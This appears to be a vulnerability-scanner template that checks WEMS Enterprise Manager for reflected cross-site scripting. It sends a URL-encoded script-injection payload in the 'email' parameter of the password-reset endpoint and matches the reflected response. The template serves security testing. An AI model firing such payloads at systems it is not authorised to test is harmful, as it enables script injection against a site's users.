id: wems-manager-xss info: name: WEMS Enterprise Manager XSS author: pikpikcu severity: medium tags: xss description: A vulnerability in WEMS Enterprise Manager allows remote attackers to inject arbitrary Javascript into the response return by the server by sending it to the '/guest/users/forgotten' endpoint and the 'email' parameter. reference: - https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html requests: - method: GET path: - '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E' matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '">' part: body - type: word words: - "text/html" part: header